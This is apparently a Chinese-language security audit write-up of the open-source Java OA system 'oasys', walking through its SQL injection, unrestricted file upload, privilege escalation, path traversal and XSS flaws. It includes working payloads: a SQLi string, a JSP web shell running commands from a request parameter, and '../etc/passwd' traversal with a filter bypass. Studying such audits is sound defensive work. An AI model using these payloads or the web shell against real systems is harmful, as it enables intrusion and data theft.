github下载oasys,安装数据库,修改密码,配置maven,idea启动
查看pom.xml文件,发现危险组建,fastjson,fileupload,猜测可能存在反序列化,文件上传漏洞。
sql注入
//进行逻辑判断,来根据那个排序,类型、状态、修改时间 传递了basekey参数 List<Map<String,Object>>sortMyNotice(@Param("userId")Long userId,@Param("baseKey")String baseKey,@Param("type")Integer type,@Param("status")Integer status,@Param("time")Integer time);
Ctrl + 单击 查找调用关系
也可以使用find usages
这里比较直接,一步跳转到控制器,这里大致分析下代码
uri映射路径是informlistpaging @RequestParam是通过web参数进行传递 这里调用了setSomething, setSomething(baseKey, type, status, time, icon, model); 跟进查看,只是进行判断不为空即可 if(!StringUtils.isEmpty(baseKey)){ model.addAttribute("baseKey", baseKey); } 然后就是将数据存储在列表里 List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
构造请求
通过右侧搜索,抓包获取到关键字,
get方式直接使用url方法,输入1有八条信息
查看xml层代码,发现有俩%%,加上%发现成功返回数据 <if test="baseKey !=null"> and n.title LIKE '%${baseKey}%' </if>
输入1%'or+1=1,显示22条,我记得模糊查询%%会自动省略吧
总共有两个mapper文件,另一个注入的也是basekey
大致流程和思路也是一样的
fastjson无漏洞
代码中总共调用了两处,且都是进行序列化。所以不会产生漏洞。
文件上传
原项目无法解析jsp添加以下依赖
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <optional>true</optional> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <scope>1.2</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency>
两种思路,关键字搜索file upload
二是找文件控制器
查看upload方法
获取文件后缀
文件命名为uuid.后缀
先存放tmp目录再到主目录
rootpath目录
attachment用来管理文件
可见 并没有对后缀进行判断
尝试上传下
% java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int len = -1; byte[] bytes = new byte[1024]; out.print("<pre>"); while ((len = input.read(bytes)) != -1) { out.println(new String(bytes, "GBK")); } out.print("</pre>"); %>
从目录查找发现image里没有文件 而在attachment目录下
垂直越权
逻辑漏洞这快,主要关注 拦截器/过滤器或用户控制器
这里看了用户控制器主要是判断用户登陆,验证码问题
主要关注拦截器
前面代码大致是判断获取session信息
两个列表获取用户信息,直接从数据库中查询
获取路径和菜单url是否相等,永远返回true
剩下的代码匹配ip,日志啥的,整体没有对用户的操作做限制。
admin查看系统模块,抓包替换为低权限的
在或者直接低权限 账号访问接口地址
任意文件读取
搜索filepath
找半天没找到接口地址
往下翻看到了**
刚好也存在rootpath
path哪里会把/image替换为空,可以试试双写饶过
正常任意文件读取
../../../../../../etc/passwd
绕过
//image..//image..//image..//image..//image../etc/passwd
抓包测试
存储xss
首先先看过滤器,拦截器有没有对xss的关键字做黑名单,如果没有在审计
全局搜 RequestMapping 然后找参数,输入payload
或者见框就插